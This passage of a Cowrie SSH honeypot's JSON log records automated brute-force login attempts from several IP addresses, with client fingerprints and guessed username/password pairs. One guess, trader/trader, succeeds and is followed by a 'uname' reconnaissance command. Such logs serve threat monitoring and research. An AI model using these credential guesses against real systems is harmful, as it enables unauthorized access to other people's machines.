sa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:56.020631Z","src_ip":"94.154.34.232","session":"64d55ef3fcc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:56.535959Z","src_ip":"94.154.34.232","session":"64d55ef3fcc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:56.620511Z","src_ip":"103.75.199.4","session":"74a819833d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:54:57.657809Z","src_ip":"94.154.34.232","session":"64d55ef3fcc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":60866,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff5ed582610","protocol":"ssh","message":"New connection: 43.153.46.75:60866 (159.203.135.109:22) [session: dff5ed582610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:06.377211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:06.382516Z","src_ip":"43.153.46.75","session":"dff5ed582610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:06.455021Z","src_ip":"43.153.46.75","session":"dff5ed582610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viewsonic","message":"login attempt [root/viewsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:06.758854Z","src_ip":"43.153.46.75","session":"dff5ed582610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:07.830366Z","src_ip":"43.153.46.75","session":"dff5ed582610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43754,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcb115d8ce31","protocol":"ssh","message":"New connection: 103.75.199.4:43754 (159.203.135.109:22) [session: bcb115d8ce31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:17.109936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:17.116738Z","src_ip":"103.75.199.4","session":"bcb115d8ce31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:17.208624Z","src_ip":"103.75.199.4","session":"bcb115d8ce31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:17.484449Z","src_ip":"103.75.199.4","session":"bcb115d8ce31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:18.578260Z","src_ip":"103.75.199.4","session":"bcb115d8ce31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37346,"dst_ip":"10.17.0.5","dst_port":22,"session":"799289de90f5","protocol":"ssh","message":"New connection: 43.163.119.215:37346 (10.17.0.5:22) [session: 799289de90f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:20.191647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:20.197670Z","src_ip":"43.163.119.215","session":"799289de90f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:20.431517Z","src_ip":"43.163.119.215","session":"799289de90f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:21.123042Z","src_ip":"43.163.119.215","session":"799289de90f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:22.356934Z","src_ip":"43.163.119.215","session":"799289de90f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37354,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a26f95a57b","protocol":"ssh","message":"New connection: 43.163.119.215:37354 (10.17.0.5:22) [session: 11a26f95a57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:22.560946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:22.565561Z","src_ip":"43.163.119.215","session":"11a26f95a57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:22.812018Z","src_ip":"43.163.119.215","session":"11a26f95a57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:23.551420Z","src_ip":"43.163.119.215","session":"11a26f95a57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:24.800206Z","src_ip":"43.163.119.215","session":"11a26f95a57b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9ee4f6c79e","protocol":"ssh","message":"New connection: 78.40.37.143:34492 (10.17.0.5:22) [session: ad9ee4f6c79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.008612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.013664Z","src_ip":"78.40.37.143","session":"ad9ee4f6c79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.101671Z","src_ip":"78.40.37.143","session":"ad9ee4f6c79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1111","message":"login attempt [git/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.467972Z","src_ip":"78.40.37.143","session":"ad9ee4f6c79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":49580,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eac5ba35de8","protocol":"ssh","message":"New connection: 80.94.92.171:49580 (159.203.135.109:22) [session: 3eac5ba35de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.878585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.993396Z","src_ip":"80.94.92.171","session":"3eac5ba35de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:32.997404Z","src_ip":"80.94.92.171","session":"3eac5ba35de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:33.554172Z","src_ip":"78.40.37.143","session":"ad9ee4f6c79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":56830,"dst_ip":"10.17.0.5","dst_port":22,"session":"0990a8904aa4","protocol":"ssh","message":"New connection: 43.163.119.215:56830 (10.17.0.5:22) [session: 0990a8904aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:33.590384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:33.595817Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:33.842480Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:34.581503Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:34.668513Z","src_ip":"80.94.92.171","session":"3eac5ba35de8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:35.120535Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:35.123966Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:35.374129Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:35.379607Z","src_ip":"43.163.119.215","session":"0990a8904aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:36.086861Z","src_ip":"80.94.92.171","session":"3eac5ba35de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38796,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ccb7aa88a34","protocol":"ssh","message":"New connection: 103.75.199.4:38796 (159.203.135.109:22) [session: 4ccb7aa88a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.002996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.008450Z","src_ip":"103.75.199.4","session":"4ccb7aa88a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langC